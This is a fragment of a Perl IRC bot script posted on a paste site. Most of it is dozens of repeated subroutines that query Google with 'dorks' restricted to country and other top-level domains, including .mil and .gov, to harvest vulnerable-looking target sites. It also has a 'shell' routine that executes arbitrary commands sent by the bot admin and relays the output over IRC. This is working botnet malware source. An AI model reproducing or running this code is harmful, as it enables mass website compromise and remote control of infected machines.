- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub fi() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack4.uri_escape($key)."%2Bsite%3Afi%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub hr() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack5.uri_escape($key)."%2Bsite%3Ahr%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub ch() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack6.uri_escape($key)."%2Bsite%3Ach%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub il() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack2.uri_escape($key)."%2Bsite%3Ail%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub pe() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack3.uri_escape($key)."%2Bsite%3Ape%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub md() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack1.uri_escape($key)."%2Bsite%3Amd%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub cc() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack2.uri_escape($key)."%2Bsite%3Acc%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub tel() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack3.uri_escape($key)."%2Bsite%3Atel%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub im() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack4.uri_escape($key)."%2Bsite%3Aim%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub kz() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack5.uri_escape($key)."%2Bsite%3Akz%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub uy() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack6.uri_escape($key)."%2Bsite%3Auy%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub qa() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack7.uri_escape($key)."%2Bsite%3Aqa%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub mil() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack1.uri_escape($key)."%2Bsite%3Amil%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub pk() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack2.uri_escape($key)."%2Bsite%3Apk%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub is() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack3.uri_escape($key)."%2Bsite%3Ais%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub uz() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack4.uri_escape($key)."%2Bsite%3Auz%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub ng() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack5.uri_escape($key)."%2Bsite%3Ang%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub travel() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack6.uri_escape($key)."%2Btravel%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub sa() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack4.uri_escape($key)."%2Bsite%3Asa%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub do() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack5.uri_escape($key)."%2Bsite%3Ado%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub am() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack1.uri_escape($key)."%2Bsite%3Aam%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub eg() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack2.uri_escape($key)."%2Bsite%3Aeg%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub fm() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack3.uri_escape($key)."%2Bsite%3Afm%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub ge() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack4.uri_escape($key)."%2Bsite%3Age%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub ky() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack5.uri_escape($key)."%2Bsite%3Aky%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub lu() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack6.uri_escape($key)."%2Bsite%3Alu%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub mk() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack7.uri_escape($key)."%2Bsite%3Amk%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub pa() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack1.uri_escape($key)."%2Bsite%3Apa%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub sg() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack2.uri_escape($key)."%2Bsite%3Asg%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub sy() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack3.uri_escape($key)."%2Bsite%3Asy%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub az() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack4.uri_escape($key)."%2Bsite%3Aaz%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub la() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack5.uri_escape($key)."%2Bsite%3Ala%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub bd() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack6.uri_escape($key)."%2Bsite%3Abd%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub cy() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack3.uri_escape($key)."%2Bsite%3Acy%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub sn() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack4.uri_escape($key)."%2Bsite%3Asn%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub museum() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack1.uri_escape($key)."%2Bmuseum%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub gov() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack2.uri_escape($key)."%2Bsite%3Agov%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub tk() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack3.uri_escape($key)."%2Bsite%3Atk%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub nu() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack4.uri_escape($key)."%2Bsite%3Anu%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub zm() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack5.uri_escape($key)."%2Bsite%3Azm%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub ye() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack6.uri_escape($key)."%2Bsite%3Aye%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub cu() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack7.uri_escape($key)."%2Bsite%3Acu%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub to() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack1.uri_escape($key)."%2Bsite%3Ato%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub tz() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack2.uri_escape($key)."%2Bsite%3Atz%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub rs() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack3.uri_escape($key)."%2Bsite%3Ars%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub pm() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack4.uri_escape($key)."%2Bsite%3Apm%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub lt() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack5.uri_escape($key)."%2Bsite%3Alt%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub mz() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack6.uri_escape($key)."%2Bsite%3Amz%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub ma() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack5.uri_escape($key)."%2Bsite%3Ama%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub al() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack6.uri_escape($key)."%2Bsite%3Aal%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub ec() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack7.uri_escape($key)."%2Bsite%3Aec%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub kg() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack1.uri_escape($key)."%2Bsite%3Akg%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub uz() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack2.uri_escape($key)."%2Bsite%3Auz%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub sv() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack3.uri_escape($key)."%2Bsite%3Asv%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- #########################################
- sub clean() {
- my @cln = ();
- my %visit = ();
- foreach my $element (@_) {
- $element =~ s/\/+/\//g;
- next if $visit{$element}++;
- push @cln, $element;
- }
- return @cln;
- }
- sub links() {
- my @list;
- my $host = $_[0];
- my $hdir = $_[0];
- $hdir =~ s/(.*)\/[^\/]*$/\1/;
- $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
- $host .= "/";
- $hdir .= "/";
- $host =~ s/\/\//\//g;
- $hdir =~ s/\/\//\//g;
- push(@list,$host,$hdir);
- return @list;
- }
- sub search_engine_query() {
- my $url = $_[0];
- $url =~ s/http:\/\///;
- my $host = $url;
- my $query = $url;
- my $page = "";
- $host =~ s/href=\"?http:\/\///;
- $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
- $query =~ s/$host//;
- if ($query eq "") { $query = "/"; }
- eval {
- my $sock = IO::Socket::INET->new(PeerAddr=>"$host", PeerPort=>"80", Proto=>"tcp") or return;
- my $sget = "GET $query HTTP/1.0\r\n";
- $sget .= "Host: $host\r\n";
- $sget .= "Accept: */*\r\n";
- $sget .= "User-Agent: $uagent\r\n";
- $sget .= "Connetion: Close\r\n\r\n";
- print $sock $sget;
- my @pages = <$sock>;
- $page = "@pages";
- close($sock);
- };
- return $page;
- }
- #########################################
- sub shell() {
- my $path = $_[0];
- my $cmd = $_[1];
- if ($cmd =~ /cd (.*)/) {
- chdir("$1") || &msg("$path","No such file or directory");
- return;
- }
- elsif ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- my @output = `$cmd 2>&1 3>&1`;
- my $c = 0;
- foreach my $output (@output) {
- $c++;
- chop $output;
- &msg("$path","$output");
- if ($c == 5) { $c = 0; sleep 3; }
- }
- exit;
- }}
- }
- sub isAdmin() {
- my $status = 0;
- my $nick = $_[0];
- if ($nick eq $admin) { $status = 1; }
- return $status;
- }
- sub msg() {
- return unless $#_ == 1;
- sendraw($IRC_cur_socket, "PRIVMSG $_[0] :$_[1]");
- }
- sub nick() {
- return unless $#_ == 0;
- sendraw("NICK $_[0]");
- }
- sub read_dorks() {
- my $dork = uri_escape($_[0]);
- my $file = "dorks.txt";
- my $success = 0;
- open (file,"<$file");
- while (my $dorkx=<file>) {
- chop($dorkx);
- if ($dorkx =~ /$dork/){
- $success = 1;
- }
- }
- close file;
- return $success;
- }
- sub write_dorks() {
- my $dorks = uri_escape($_[0]);
- my $file = "dorks.txt";
- open (filex,">>$file");
- print filex $dorks."\n";
- close filex;
- }
- sub notice() {
- return unless $#_ == 1;
- sendraw("NOTICE $_[0] :$_[1]");
- }}}
Add Comment
Please, Sign In to add comment